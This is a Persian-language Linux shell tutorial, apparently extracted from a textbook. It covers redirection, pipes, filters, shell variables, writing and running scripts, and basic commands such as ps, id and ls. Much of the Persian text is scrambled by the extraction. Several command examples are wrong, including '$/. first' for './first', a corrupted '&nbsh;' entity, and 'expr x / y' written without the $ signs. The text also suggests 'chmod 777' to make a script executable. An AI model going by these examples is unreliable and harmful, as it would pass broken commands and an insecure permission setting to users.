اد می شود                       /های قبلی اطلاعات   دی ایج رای      .داده ها در انتهای فایل نوشته می شوند و اگر فایل وجود نداشته باشد،فایل جدی ال ب رای مث ب

  : به فایل موجود دستور روبه رو را بدهيدdateفرستادن خروجی فرمان 
  

 $date >> myfiles 
  
  >نماد تغيير مسير ) ٣(
  

  فرمان لينوکس> نام فایل : ی دستور  شکل گرامر
  

د                 ه جای صفحه کلي ان             .به منظور گرفتن ورودی برای فرمان لينوکس از فایل ب رای فرم ل ب رفتن ورودی از فای رای گ ال ب وان مث ه عن ب
catاز فرم زیر استفاده کنيد ،:  

  
 $cat < myfiles 

  
  

Pipes 
  

وقتی                           راهی است  Pipeفرمان   ل م دون هيچ فای ه ای دیگر ب ه و ورودی برنام ين خروجی یک برنام اط ب راری ارتب ع   . برای برق در واق
pipe               ور می ان بعدی عب رای فرم وان ورودی ب  محلی موقتی برای ذخيره است که در آن خروجی یک فرمان ذخيره شده و سپس به عن
  .از یک خط فرمان استفاده می شوند) نهفرمان های چند گا( برای اجرای بيش از دو فرمانpipes.کند

  
   ١فرمان  |٢فرمان : ی فرمان شکل گرامر

  
   pipesفرمان ها با استفاده از 

  
   pipesمفهوم یا استفاده : فرمان 

  
 $ ls | more :  

  
 full صورت  در نظر گرفته می شود به طوریکه خروجی در هر زمان بهmore، به عنوان ورودی فرمان lsر اینجا خروجی فرمان د

screenچاپ می شود .  
  

 $ who | sort:  
  

ان     ن حالت خروجی فرم ان   whoدر ای ه فرم وان ورودی ب ه عن ده ای از      sort ب ست مرتب ش ه صورت لي ه طوریکه ب  داده می شود ب
  .کاربران چاپ خواهد شد

  
  $ who | wc –l:  

  
ستم شده         دادهwc به عنوان ورودی به فرمان who در این حالت خروجی فرمان     ه وارد سي اربرانی را ک داد ک ه طوریکه تع  می شود، ب

  .را چاپ می کند)  کرده اندlogon(اند
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 $ ls –l | wc –l :  
  

  . داده می شود به طوریکه تعداد فایل ها در دایرکتوری جاری را چاپ می کندwc به عنوان ورودی به فرمان lsاینجا خروجی فرمان 
  

 $who | grep raju :  
ان      در ای  ان         whoن حالت خروجی فرم ه فرم وان ورودی ب ه عن ه          grep ب اربر خاص را در صورتی ک ام ک ه طوریکه ن  داده می شود ب

logonکرده باشد چاپ می کند و در غير این صورت چيزی را چاپ نمی کند .  
  
  

Filter  
  

ناخته می   اگر فرمان لينوکس ورودی خود را به فرم استاندارد بپذیرد و خروجی اش را نيز به ف        رم استاندارد توليد کند، به عنوان فيلتر ش
 ١٠٠ با hotel.txtبرای مثال فرض کنيد فایلی با عنوان . برخی فرایند ها را روی ورودی انجام داده و خروجی را می دهد        Filter. شود

يم،  hlist را در فایلی با نام  را چاپ کرده و نتایج٣٠ تا خط ٢٠خط داده، داریم و می خواهيم محتویات این فایل از خط شماره             ذخيره کن
  :دستور زیر را می دهيم

  
 $tail +20 < hotel.txt | head –n30 >hlist 

  
ه    ٢٠ با انتخاب از خط شماره   tailفرمان (  می گيرد tail است که ورودی اش را از فرمان head  ،filterدر اینجا  ل داده شده ب  از فای

  . تغيير مسير داده استhlistو خروجی آن به فایل .)شود، آغاز می hotel.txtعنوان مثال 
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  shellبرنامه نویسی 
  

   :shellمقدمه ای بر برنامه نویسی 
  

ل    shell script. مجموعه ایست از فرمان های لينوکسshellبرنامه نویسی  د فای درت    MS_DOS در batch درست همانن ا ق  است ام
و همچنين برای . قادر است ورودی را از کاربر و یا فایل گرفته و خروجی را روی صفحه نمایش نشان دهدshell script.دبيشتری دار

اربر   رامين خاص ک اد ف ه طور  _ایج ره را ب سياری از کارهای روزم د و ب ان صرفه جویی کنن ادی در زم زان زی ه مي د ب ه می توانن ک
  .مفيد می باشد_ خودکار انجام دهند 

  
  ير ها در لينوکسمتغ

  
سيم شده          RAMحافظه  . نگهداری کرد  RAMاطلاعات باید آنها را در حافظه       /گاهی اوقات برای پردازش داده      به مکان های کوچکی تق

ا  ان ی ه مک رد دارد ک ه ف دد منحصر ب ان یک ع ده آاست، و هر مک تفاده می  درس حافظه نامي ا اس داری داده ه رای نگه می شود، و ب
ده می                                           برنامه نویس .شود ر نامي ه طور خلاصه متغي ا ب ر های حافظه ی ه متغي د ک ن مکان های حافظه بده ه ای ا ب ام یکت  می تواند یک ن
ا  این ها در واقع مکان های حافظه دارای نام می باشند که ممکن است مقادیر مختلفی داشته باشند، اما در یک زمان م                 .(شوند ی توانند تنه

  .)شندیک مقدار داشته با
  

  : نوع متغير داریم٢س در لينوک
  
  .این نوع متغير ها با حروف بزرگ تعریف می شوند.توسط خود لينوکس ایجاد و نگهداری می شوند: متغير های سيستمی ) ١
  
این نوع متغير ها با حروف کوچک تعریف         .توسط کاربر ایجاد و نگهداری می شوند      ) : UDV(متغير های تعریف شده توسط کاربر     ) ٢

  .می شوند
  

   : از متغير های سيستمیبرخی
  

  :برخی از مهمترین متغير های سيستمی عبارتند از. ،مشاهده کنيدset$ شما می توانيد متغيرهای سيستمی را با دادن دستور 
  

BASH=/bin/bash :  
  

   shellنام 
  

BASH_VERSION=1.14.71  
  

   shellنام ورژن 
  

COLUMNS=80 :   
  

  تعداد ستون های صفحه نمایش
  

HOME=/home/vivek :  
  

   HOMEدایرکتوری 
  

LINES=25 :   
  

  های صفحه نمایش تعداد سطر
  

LOGNAME=students :  
  

   loggingنام 
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 ٢٩٥    صفحه

  
OSTYPE=Linux :  

  
  نوع سيستم عامل

  
PATH=/usr/bin:/sbin:/bin:/usr/sbin :  

  
   PATHوضع ظاهری 

  
PS1=[\u@\h\W\$] :  

  
   promptوضع ظاهری 

  
PWD=/home/students/Common:  

  
   دایرکتوری در حال فعاليت جاری

  
SHELL=/bin/bash :  

  
   shellنام 

  
USERNAME=vivek:  

  
  . نام کاربری فردی که هم اکنون وارد سيستم شده است

  
ند                ر های            . توجه داشته باشيد که برخی از موارد فوق ممکن است در کامپيوتر شما متفاوت باش وای هر یک از متغي د محت شما می تواني

  :فوق را مانند زیر چاپ کنيد
 $echo $USERNAME 
 $echo $HOME 

  
  .این موضوع گاهی سبب ایجاد مشکلاتی می شود.متغير های سيستمی را تغيير ندهيد:توجه

  
  چگونه متغير های تعریف شده توسط کاربر را تعریف کنيم؟

  
  : از شکل گرامری زیر استفاده کنيدUDVبرای تعریف 

  
  نام متغير= مقدار 
ر را در    .قرار گيرد= به نام متغير تخصيص داده می شود و مقدار باید در سمت راست علامت           "  مقدار "در این جا    : نکته ال های زی مث

  :نظر بگيرید
  

 $no=10 # این مثال درست است  
  

 $١٠=no# این مورد اشتباه است .  
  

   :Busبا مقدار " vech"برای تعریف متغيری با نام 
 $vech=Bus 

   :١٠ با مقدار nتعریف متغيری با نام برای 
 $n=10 

  
  :سيستمی  و) UDV(قواعد نام گذاری متغير ها برای هر دو نوع متغير های 
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 ٢٩٦    صفحه

شتری حروف عددی       آ) _ ( کتر حرفی یا عددی و یا نماد خط زیر    انام متغير باید با یک کار     ) ١ داد بي ا تع غاز شود که به دنبال ان یک ی
  : زیر صحيح هستندshell های برای مثال متغير. می اید

  
HOME 
SYSTEM_VERSION 
vech 
no 

  
د                    ) ٢ ر هيچ             .هنگام تخصيص مقدار به متغير در هيچ یک از دو طرف علامت مساوی فاصله ندهي ر زی ال در اعلان متغي وان مث ه عن ب

  :خطایی رخ نداده است
 $no=10 

  :اما موارد زیر اشکال دارند
  

 $no =10 
 $no= 10 
 $no = 10 

  
  .ند هستمتغير ها درست مثل نام فایل در لينوکس نسبت به کوچکی و بزرگی حروف حساس) ٣
)case-sensitive .(مثال های زیر را در نظر بگيرید:  
  

 $no=10 
 $No=11 
 $NO=20 
 $nO=2 

  
وریم از   ٢٠بنا بر این برای چاپ مقدار .هر یک از متغير های فوق با دیگری متفاوت است ا مجب يم   echo $NO$   م تفاده کن و هيچ   اس

  .یک از دستورات زیر برای این منظور به کار نمی روند
  

 $echo $no #10     را٢٠را چاپ خواهد کرد نه 
  

 $echo $No #11    را٢٠ را چاپ خواهد کرد نه 
  

 $echo $nO #2    را٢٠ را چاپ خواهد کرد نه 
  
دارد         متغير .(شما می توانيد متغير تهی را مانند زیر تعریف کنيد        ) ۴ داری ن ان تعریف هيچ مق ه در زم ری است ک وان   .) تهی متغي ه عن ب

  مثال
  

 $vech= 
 $vech =””  

  
  . ،در این حالت هيچ چيز نمایش داده نمی شود زیرا متغير هيچ مقداری نداردecho $vech$ .چاپ مقدار این متغير را امتحان کنيد

  
  .تان استفاده نکنيد يرو غيره برای نامگذاری متغ* ، ? کتر هایی مثل ااز کار) ۵
  

يم؟         UDVچگونه به مقادیر     ه        دسترسی داشته باشيم یا آنها را چاپ کن ا دسترسی ب رای چاپ ی تفاده     از شکل گرامر  UDVب ر اس ی زی
  :کنيد

  
$ نام متغير  

  
   :vechبه عنوان مثال برای چاپ محتوای متغير 
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 ٢٩٧    صفحه

 $echo $vech 
  

 n " $ echo $n"، برای چاپ محتوای متغير .) تعریف شده باشدvech=bus صورت اگر قبلا به(را چاپ می کند " bus"فرمان فوق 
  .) تعریف شده باشدn=10اگر قبلا به صورت .(را چاپ می کند" 10"، 
  

ی  vech استفاده نکنيد،این فرمان echo vech$ از : توجه د و    " Bus" را به جای مقدارش یعن ه جای   echo n  ،n$  چاپ می کن  را ب
  .آمده است استفاده کنيد  نام متغير آنکه به دنبال$ شما باید از .چاپ می کند" ١٠"نی مقدارش یع

  
   :پرسش و پاسخ

  
  را در صفحه نمایش چاپ کنيم؟  را تعریف کرده و ان١٠ با مقدار xچگونه متغير : ١سئوال

  
 $x=10 
 $echo $x 

  
  در صفحه نمایش چاپ کنيم؟را   را تعریف کرده و انRani با مقدار xnچگونه متغير : ٢سئوال 

  
 $xn=Rani 
 $echo $xn 

  
  ) در نظر بگيرید۶ و ٣دو عدد را ( چگونه مجموع دو عدد را چاپ کنيم؟: ٣سئوال 

  
 $echo 6+3 

  
د         ی          ۶+٣این فرمان چاپ می کن د       ٩ ، و مجموع ان دو یعن ات ریاضی در            . را چاپ نمی کن ا عملي رای جمع ی تفاده  expr از shellب  اس

  :ی ان به صورت زیر است رامرشکل گ.کنيد
  

expr op1 operator op2 
  

د یکی        یا عمل  operatorو  ) بدون قسمت اعشار  : عدد صحيح ( هر دو می توانند اعداد صحيحی باشند       op2 و   op1که در آن     گر می توان
ه  .باقيمانده استفاده می شود     برای محاسبه   % باشد که    ( %) mod و*) \( ، ضرب ( / )، تقسيم   ) -(، تفریق   (+) های جمع    گر از عمل  ب

  .٢ = ٣ % ٢٠  و ۶ = ٣ / ٢٠عنوان مثال 
  

 $expr 6 + 3 
  

  .گر و عدد باید فاصله باشد  عمل نمی کند زیرا بين عملexpr 6+3$ ولی .  را به عنوان جمع دو عدد چاپ می کند٩حال این فرمان 
  

   را چاپ کنيم؟yر  بx را تعریف و سپس تقسيم y=5 و x=20چگونه دو متغير : ۴سئوال
  

 $x=20 
 $y=5 
 $expr x / y 

  
  . ذخيره کنيدzير داده و حاصل تقسيم را در متغيری با نام يمثال فوق را تغ: ۵سئوال

  
 $x=20 
 $y=5 
 $z=’ expr x / y‘  
 $echo $z  

  
  .در مورد دستور سوم بعدا توضيح می دهيم:نکته
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 ٢٩٨    صفحه

  
  

   بنویسيم؟shell scriptچگونه 
  

رای نوشتن   . بر روی صفحه نمایش می باشد" knowledge is power" خود را می نویسيم که نتيجه آن چاپ script اکنون ما اولين ب
shell script می توانيد از ویرایشگر متنی لينوکس مانند vi یا mcedit  ان د  cat استفاده کنيد و یا حتی می توانيد از فرم تفاده کني در . اس

ان     . می کنيم،شما می توانيد از هر یک از ویرایشگر های فوق استفاده کنيد              استفاده catاینجا ما از فرمان      دا فرم تن    catابت ه م ر و ادام  زی
  :را تایپ کنيد

  
 $cat > first 
# 
 #My first shell script 
# 
clear 
echo " knowledge is power " 

  
Ctrl + Dاکنون . را برای ذخيره بزنيدscript ان فرمان زیر را تایپ کنيد شما آماده است برای اجرای:  

  
 $/. first 

  
برای انجام این کار فرمان زیر . خود تنظيم نکرده ایمscriptزیرا ابتدا اجازه اجرا را برای اولين .در این حالت سيستم اعلام خطا می کند    

  :را تایپ کنيد
  

 $chmod +x first 
 $/. first 

  
برای چاپ پيغامی از محتوای متغير ها . بر روی صفحه چاپ می شودknowledge is powerابتدا صفحه نمایش پاک می شود، سپس 

  : به صورت زیر استecho استفاده می کنيم، شکل کلی فرمان echoاز فرمان 
  

echo "Message " 
echo " Message variable1, variable2…variableN" 

  
  

   را اجرا کنيم؟shell scriptچگونه 
  

  . به صورت پيش فرض اجازه اجرای آن را نداردshell scriptنوکس، ایجاد کننده به علت امنيت فایل ها در لي
  : کار زیر را انجام دهيم٢بنابراین اگر مایل به اجرای ان باشيم باید 

  
  :شکل گرامری ان به صورت زیر است .script به صورت زیر برای دادن اجازه اجرا به chmodاستفاده از دستور ) ١
  

chmod +x shell-script-name 
 

   یا
  

chmod 777 shell-script-name 
  
  : به صورت زیرscriptاجرای ) ٢
  

/.your-shell-program-name 
  

  :به عنوان مثال
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 ٢٩٩    صفحه

  
 $/. first 

  
ه   . استفاده می شود shell scriptفرمان محسوب می شود و به صورت ترکيب با (.) در اینجا نقطه  د     shellنقطه ب  جاری اشاره می کن

  . دیگری نباید در حافظه بار شودshell اجرا شود و shellباید در همان (.) پس از انکه فرمان 
  

  : خود استفاده کنيدshell scriptی زیر برای اجرای  شما همچنين می توانيد از شکل گرامر
  

Bash &nbsh;&nbsh; your-shell-program-name 
  یا 

/bin/sh &nbsh;&nbsh; your-shell-program-name 
  
  :ه عنوان مثالب
  

 $bash first 
 $/ bin/sh first 

  
رای اجرای         ان             scriptتوجه داشته باشيد ب ه در هم د ک از داری وری ، شما ني وری                  دایرکت د، اگر در دایرکت رده ای اد ک ه ان را ایج يد ک  باش

  )pathبه علت ویژگی های .( شما اجرا نخواهد شدscriptدیگری باشيد 
  

د دایرک  ال فرض کني وان مث ه عن وری ب ما homeت دhome/vivek/ ش ان .( باش اری  pwd$ از فرم ال ج وری فع شاهده دایرکت رای م  ب
د تفاده کني ک ) اس ما ی ام scriptو ش ا ن د first ب ی کني اد م د   . ایج ری مانن وری دیگ ه دایرکت رای ان ب س از اج پ

/home/vivek/Letters/Personal      می روید،حال اگر بخواهيد script      را           خود را اجرا کنيد، مس د شد زی  شما   scriptلما اجرا نخواه
  : است، برای غلبه بر چنين مشکلی دو راه وجود داردhome/vivek/در دایرکتوری 

  
تيد     د          scriptاول اینکه هر زمان که خواس د، مسير کامل ان را مشخص کني وری های دیگری اجرا کني ا دادن   . خود را در دایرکت ثلا ب م

  :فرمان زیر
  

 $/ bin/sh/home/vivek/first 
  

رد و             هست در این حالت شما مجبور     يد در حاليکه در دایرکتوری دیگری کار می کنيد تمام این جزئيات را بدهيد، که این کار زمان می گي
ز وجود دارد        .يد مسير کامل را به خاطر بسپارید       هست شما مجبور  ل اجرا می                    .راه دیگری ني ه های قاب ه برنام ه کلي يد ک توجه داشته باش

  : اجرا شوند Promptستقيما بوسيله تایپ دستوراتی مانند زیر از توانند م
  

 $bs 
 $cc myprg.c 
 $cal 

   .غيره و
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 ٣٠٠    صفحه

 فرمان پوسته ظاهر
  
 از را خود  دستورات باید شما نيست، اجرا حال در آن گرافيکی محيط اکنون یا و است گرافيکی محيط فاقد شما لينوکس که صورتی در

ان  پوسته در که چيزی نخستين . کنيد ارسال عامل سيستم به انفرم پوسته طریق شا  فرم د،  دههم ان  اعلان  ميکني ه  است  فرم  بصورت  ک
شتر  در . است # بصورت ریشه کاربر برای فرمان اعلان . ميباشد $ علامت ستم  بي وکس  ایهسي ل  لين ان  اعلان  از قب ام  فرم اربری  ن  ک
  : ميشود داده شانن زیر تبصور که ميگيرد قرار تان کامپيوتر نام و شما

 
[alan@memphis home]$ 

  
 پوسته  محيط  . شد  دهخوا داده شرح بعدا کار این چگونگی .دارد ود وج فوق ایه کاراکتر بجای نيازتان مورد کاراکتری نمایش امکان
  .دارد زیادی امکانات فرمان

 
ه  دستوراتی  با کنيد سعی شوید، آشنا فرمان پوسته محيط با اینکه برای . ميباشد آسان بسيار فرمان پوسته محيط در دستورات تایپ  در ک
  .کنيد تمرین ميشوند، بررسی زیر

 
د  پوسته  فرامين تایپ برای ميشود، اجرا لينوکس گرافيکی محيط فرمان پوسته بجای سيستم، اندازی راه نگامه که صورتی در :نکته  بای
   .کنيد تایپ نيز را  xterm فرمان run  منوی رد ميتوانيد .کنيد استفاده  Konsole یا Terminal از
  
 آن خروجی  و يدهد فشار را Enter کليد باید فرمان ره تایپ پس .ميباشند فرمان اعلان ندههد نشان # و $ ایه علامت زیر ایهمثال در

  .شد دهخوا داده نمایش آن از پس خطوط در فرمان
  
 

  سيستم به ورود نشست بررسی
 
 شما، گروه نام شما، کاربری نام شامل ویته این . ستيده خاص ویته یک دارای سيستم برای ميشوید، لينوکس تمسيس وارد که نگامیه

ين ه . شماست  گروه شماره و شما کاربری شماره وکس  مچن ان  اطلاعات  لين ه  ورود زم ستم،  ب  محل  و بيکاری  مدت  حضور،  مدت  سي
   ! ) .کنيد عجم را حواستان ( ميکند داریهنگ را سيستم به شما ورود

  
  

 آن زیر در آن خروجی .کنيد تایپ را زیر دستور فرمان اعلان جلوی در خودتان کاربری ویته مورد در اطلاعات آوردن بدست برای
  :است شده داده نشان

 
$ id 
uid=500(Alan) gid=500(Alan) groups=500(Alan) 

  
   .ميباشد ۵٠٠ آن گروه و کاربری ایه شماره و است Alan  هگرو عضو که بوده Alan کاربر نام که دهميد نشان فرمان خروجی

  
ن  زیر در . آورید بدست جاری نشست مورد در اطلاعاتی ميتوانيدwho فرمان از استفاده با ان  ای ه  فرم راه ه ب شان   آن خروجی  م  داده ن

  :است شده
 

$ who 
Alan :0 Apr 23 08:46 

 .است شده داده نمایش سيستم به ورود تاریخ و مانز جاری، کاربر نام خروجی در بينيد، می که مچنانه
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 ٣٠١    صفحه

  
  

  KDE  محيط  Konsole برنامه ١ تصویر
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  فايلها مجوزهای و ها دايرکتوری بررسی
 
شو  سيستم وارد که نگامیه . دارد قرار آن در لحظه آن در کاربر که ميشود گفته مسيری به جاری مسير لينوکس در وکس  ید،مي  شما  لين
 را جاری مسير لينوکس ميکنيد، صادر را فایلی کردن ذخيره یا کردن باز دستور که نگامیه . دهميد قرار تان خانگی دایرکتوری در را

ره  یا و کرده باز آنرا آنجا از و کرده فرض فایل آن محل بعنوان د  ذخي ستم  ساختار  . ميکن ل  سي وکس  فای دا  لين  و شد  ده خوا داده شرح  بع
ر  در آن خروجی  .کنيد تایپ فرمان خط جلوی را زیر فرمان جاری دایرکتوری نمایش برای . باشيد آن نگران نيست لازم ایش  آن زی  نم
  :است شده داده

 
$ pwd 
/usr/bin 

  
  :کنيد تایپ را زیر فرمان خود، خانگی دایرکتوری مسير یافتن برای .است usr/bin  جاری مسير بالا مثال در
  

$ echo $HOME 
/home/Alan 

  
 باز خود خانگی دایرکتوری به اینکه برای .است شده داده نمایش شما خانگی دایرکتوری مسير ميکنيد، ملاحظه خروجی در که چنانهم

  :کنيد تایپ را زیر فرمان سادگی به است کافی گردید،
 

$ cd 
  
 . دارد وجود خانگی دایرکتوری در اییه چيز چه که ببينيم تنيس بد خوب . گرداند می باز تان خانگی دایرکتوری به را شما فرمان، این

 ميتوانيد ندارید قرار خود خانگی دایرکتوری در که صورتی در .نمایيد استفاده ls فرمان از باید دایرکتوری، یک محتویات نمایش برای
ایش  جاری مسير محتویات نيد،ک تایپ دایرکتوری رگونهه بدون را ls فرمان که صورتی در . کنيد تایپ آنرا کامل مسير  ده خوا داده نم
ایش  را مخفی  ایه فایل تمام a  گزینه شد ه  و ده ميد نم رای  l گزین ایش  ب ات  نم رود  بکار  اه فایل کامل  جزئي ام ه . مي ان  یک  تایپ  نگ  فرم

  :است شده داده نشان مثال خروجی یک مراهه به دستور این زیر در. کنيد تایپ مه کنار آنرا متعدد ایه گزینه ميتوانيد
 

$ ls -la /home/Alan 
total 46740 
drwx------ 47 Alan Alan 4096 Apr 23 11:09 . 
drwxr-xr-x 8 root root 4096 Mar 12 17:51 .. 
-rw------- 1 Alan Alan 616581 Apr 18 23:29 779-red_hat_linux_9.tar.gz 
drwxr-xr-x 2 Alan Alan 4096 Mar 20 11:15 .acrobat 
drwx------ 2 Alan Alan 4096 Mar 20 11:15 .adobe 
drwx------ 2 Alan Alan 4096 Mar 12 17:04 .adonthell 
drwxr-xr-x 2 Alan Alan 4096 Feb 14 13:19 .anjuta 
-rw------- 1 Alan Alan 18325 Apr 23 00:36 .bash_history 
-rw-r--r-- 1 Alan Alan 24 Aug 24 2002 .bash_logout 
-rw-r--r-- 1 Alan Alan 191 Aug 24 2002 .bash_profile 

  
شتر  جزئيات نمایش برای l  يچیسو از که نگامیه تفاده  بي د،  اس زی  ميکني يش  چي ایز  از ب وری  و اه فایل س ایش  اه  دایرکت شود  داده نم  . مي

وری  وری  و (.) جاری  دایرکت د  دایرکت الای  در (..) وال رار  ليست  ب د  می  ق ی  . گيرن شان  نقطه  حقيقت  در یعن ده هد ن وری  ن  دایرکت
home/Alan دایرکتوری ندههنشاند نقطه دو و /home اطلاعات  سایر . است فایل ره  ایهمجوز ندههنشاند ليست ابتدایی بخش .است 

  .است کرده تغيير بار آخرین برای فایل که ساعتی و تاریخ و بایت به فایل اندازه از عبارتند شده داده نمایش
 

  سيستم فعاليت بررسی
  

 ایه برنامه که ستا معنی این به بودن وظيفه چند (multitasking) وظيفه چند است عاملی سيستم بودن، کاربره چند بر علاوه لينوکس
 ایه  پروسه  نمایش برای مينیافر لينوکس. ميشود ناميده پروسه یک اجرا حال در برنامه ره . شوند اجرا زمان یک در ميتوانند زیادی
  .دارد لزوم مواقع در ایه پروسه کردن متوقف و سيستمی منابع از استفاده نمایش اجرا، حال در
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د  بررسی  ميتوانيد دستور، این با .است ps دستور اجرا، حال در ایه پروسه بررسی برای ابزار ترین مرسوم ه  کني ه  چه  ک  اییه  برنام
ن  از مثال خروجی یک زیر در . استهآن اجرای حال در کسی چه و ميکنند استفاده منابعی چه از ، ستنده اجرا حال در ان  ای ش  فرم  انن
  : است شده داده

 
$ ps au 
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND 
Alan 1152 0.0 0.5 4476 1348 pts/0 S 17:39 0:00 bash 
Alan 1831 0.0 0.2 2580 664 pts/0 R 18:14 0:00 ps au 

  
ه  اییه  پروسه  تمام نمایش برای a  گزینه بالا، مثال در ه  ک ال  ب ی  ترمين وط  شما  فعل ه  و است  مرب رای u ، گزین ایش  ب ام  نم اربری  ن  و ک

ه  زمانی ه  ک ه  آغاز  برنام ار  ب رده  ک رود  بکار  است،  ک ال  ومه مف . مي ه  ترمين دیم  ایه زمان ب از  ق ان  آن در . ميگردد  ب اربران  زم  روی ک
ال  ره  و ميکردند کار متن بر مبتنی ایهترمينال شان  ترمين ده هد ن ر  یک  ن ود  نف ون  . ب انيتور  صفحه  روی دميتواني  شما  اکن داد  خود  م  تع
  .است پذیر امکان ترمينال پنجره تعدادی کردن باز بوسيله کار این .باشيد داشته ترمينال زیادی

  
اربری  که دهميد نشان خروجی . است افتاده نی اتفاق خاصی چيز بالا، مثال در ه  ک ام  ب ه  از Alan  ن  حال  در ps و bash ، ایه  برنام

 وضعيت ندههنشاند STAT و است شده وارد سيستم به آن با کاربر که است یلترمينا ندههد نشان ترمينال، یاTTY ستون . است استفاده
  .ميباشد...  . و اجرا حال در پروسه ندههنشاند S خواب حال در پروسه ندههنشاند R ستون است پروسه

  
USER ا  عدد  یک  توسط  پروسه  ره  . ده ميد نمایش کرده شروع را پروسه که کاربری نام ه  یکت ام  ب  مشخص  ستون  پروسه  اره شم  ن
 ميشود استفاده پروسه کردنkill (Process ID)  اصطلاحا یا بردن ميان از نگامه شماره این از .ميشود

  
رده  استفاده اه پروسه که ستنده ای حافظه و پردازنده مقدار ندههنشاند %CPU و %MEM ایهتونس د  ک ا  VSZ ستون  . ان  Virtual ی

  ستون است حافظه در پروسه سایز ندههنشاند Resident Set Size یا RSS و بایت کيلو به image Set Size پروسه سایز دهنهنشاند
START ستون و پروسه آغاز زمان ندههنشاند  TIME است پروسه برای شده استفاده سيستم زمان ندههنشاند. 

 
ه  د،ستنه  اجرا  حال  در کامپيوتر در که اییه پروسه از بسياری ال  یک  ب وط  خاص  ترمين د  نيست  مرب ستم  یک  .ن ی  عادی   سي ر  مبتن  ب
الی  که ستنده اییه پروسه زمينه پس ایه پروسه . ميشوند اجرا زمينه پس در که است فراوانی اییه پروسه دارای ، لينوکس د  اعم  مانن

ام ه اه پروسه این .ندهميد انجام را شبکه از واصله اطلاعات برای اهپورت به کردن گوش یا سيستم ایهفعاليت ثبت وت  نگ ستم  ن شد  ب  سي
رده  کار به آغاز ام ه و ک ستم  کردن  خاموش  نگ ه  ، سي ار  ب ان  خود  ک د هميد پای رای  .ن ایش  ب ام  نم ر  اجرا  حال  در ایه  پروسه  تم  روی ب

  :کنيد استفاده زیر فرمان از باید کامپيوترتان
 

$ ps aux | less 
  

| less سمت  امکان  شد، بيشتر صفحه یک از اه پروسه تعداد که صورتی در که است شده اضافه فرمان به دليل این به ایش  ق  صفحه  نم
ه  فرایند این به . باشد داشته وجود آن صفحه به دی  لول ان  (pipe) بن د  فرم ه  گوین ه  ک ی  ب ان  یک  خروجی  دایته  معن رای  فرم  ورودی ب

 .است دیگر فرمان
 
 

  فرمان پوسته از خروج
  
 در .يدهد فشار را Ctrl + D  ایهکليد که است کافی شوید، خارج فرمان پوسته از بودید مایل و دادید انجام را خود ایهکار که نگامیه

  .کنيد تایپ را exit  یا logout  فرمان است کافی اید، کرده بوت را لينوکس متنی حالت در که صورتی
 

ز  دیگر  فرمان اهصد . شدید آشنا آورید، دست به را لازم عاتاطلا تان سيستم از ميکند کمک شما به که فرمان چند با اینجا تا خوب،  ني
 در تمسسي مدیریت فرامين مچنينه . دارند قرار bin و  usr/bin ایهمسير در فرامين این . کنيد آزمایش را اهآن ميتوانيد که دارند وجود
  .شد ندهخوا داده يحتوض فصل این ادامه در فرامين این بيشتر .دارند قرار usr/sbin و sbin ایهمسير
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   :Shellمباحث تکميلی پيرامون 
 
دار  اه کامپيوتر صفحه روی اه پنجره و اه آیکون اینکه از قبل اربران  شوند،  پدی رای  ک ار  ب ا  کردن  ک د  اه کامپيوتر ب ان  بای  را اییه  فرم
 شده  ایجاد اهفرمان مدیریت و تفسير برای هک ای برنامه است،هآن از یکی مه لينوکس که یونيکس بر مبتنی ایهسيستم در .ميکردند تایپ
   .دارد نام(Command Shell)  فرمان پوسته است،

 
دیریت  و اه برنامه کردن کامپایل ا،هفایل با کارکردن ا،ه برنامه کردن اجرا برای یهرا فرمان پوسته امپيوتر  م اد  ک د  ایج ا  .ميکن  اینکه  ب

ان  پوسته با نکرد کار از تر آسان گرافيکی ایهابزار با کارکردن ی  است،  فرم شتر  ول اربران  بي ه  ک وکس  ای حرف رجيح  لين د هميد ت ا  ن  ت
ستم  ایه  پيکربندی مانند اهکار از بسياری انجام برای زیرا . کنند استفاده فرمان پوسته از گرافيکی ایهابزار بجای ان  پوسته  ، سي  فرم
د  کاربران برخی حتی . است گرافيکی ایهابزار از تر قدرتمند بسيار ونيکس  یمیق وکس  و ی ه  لين درت  ب رای  گرافيکی  ایه محيط از ن  ب
  .ميکنند استفاده ایشانهکار انجام

  
  .است Bourne Again Shell از برگرفته آن نام . دارد نام bash  شد دهخوا داده توضيح نماهرا این در که فرمانی پوسته

  
bash پوسته که یونيکس ایهسيستم پوسته نخستين از sh یا  Bourne Shell  ام اد  داشت،  ن ر  از یکی  و است  شده  ایج اربرد  پ رین  ک  ت
د  وجود نيز دیگری ایه پوسته البته . ميرود شمار به مان فر ایه پوسته ه  دارن تفاده  اه آن از ک شود  اس ه  مي ا  csh  ک د  ی  C  اه آن از ميتوان
Shell یونيکس ایهسيستم در که BSD و ميشود استفاده  ksh  ا ه  Korn Shell ی شتر  ک تفاده  Unix System V رد بي شود،  اس ام  مي  ن
  .ميباشد نيز ash و tcsh  ایه پوسته دارای مچنينه لينوکس .برد

  
ز  را دیگر  ایه پوسته ميتوانيد آسانی به بگيرید، فرا لينوکس در را فرمان پوسته یک از استفاده که نگامیه اد  ني د  ی  صورتی  در .بگيری
  .کنيد مراجعه پوسته آن manual  صفحه به يدميتوان داشتيد، سوالی یا مشکل رگونهه که
  
  

 :کنيد تایپ را زیر دستور لينوکس فرمان خط در است کافی فرمان  هرmanual صفحه نمایش برای : نکته
 

$ man <command> 
  
   .ميباشد sh  فرمان پوسته با سازگار کاملا  bash پوسته ، لينوکس در
  

 لينوکس در فرمان پوسته از استفاده
  
اراکتر  آن به ميتوانيد ميکنيد، تایپ فرمان پوسته در را فرمان یک که امینگه د  اضافه  دیگری  ایه  ک ا  کني ارکرد  چگونگی  ت  دستور  ک

  : از عبارتند کنيد تایپ فرمان خط در ميتوانيد که دیگری موارد دستور، خود بر علاوه .يدهد تغيير را نظر مورد
  
  (Options) : اه گزينه -
  

ن  بردن بکار و کردن اضافه با که ستنده گزینه چند یا یک رایدا فرامين اکثر ه  ای د  اه  گزین ار  نحوه  ميتواني ان  رفت ر  را فرم د هد تغيي  . ي
ایش  برای l گزینه la- ls فرمان در ، دیدید مه قبلا که مانطوره مثال برای وری  و اه فایل مشروح  ليست  نم ه  و اه  دایرکت رای  a  گزین  ب
ه  اییه گزینه ضمنا. رفت بکار ميشدند، شروع نقطه با که مخفی ایهفایل نمایش ه  یک  مخفف  ک ا  ستنده  کلم شوند  شروع  - یک  ب  در مي

  ميشوند شروع -- با ستنده کامل کلمه یک که اییه گزینه که صورتی
  

 مثال برای
ls --help  

  
  (Arguments): اه آرگومان -
  

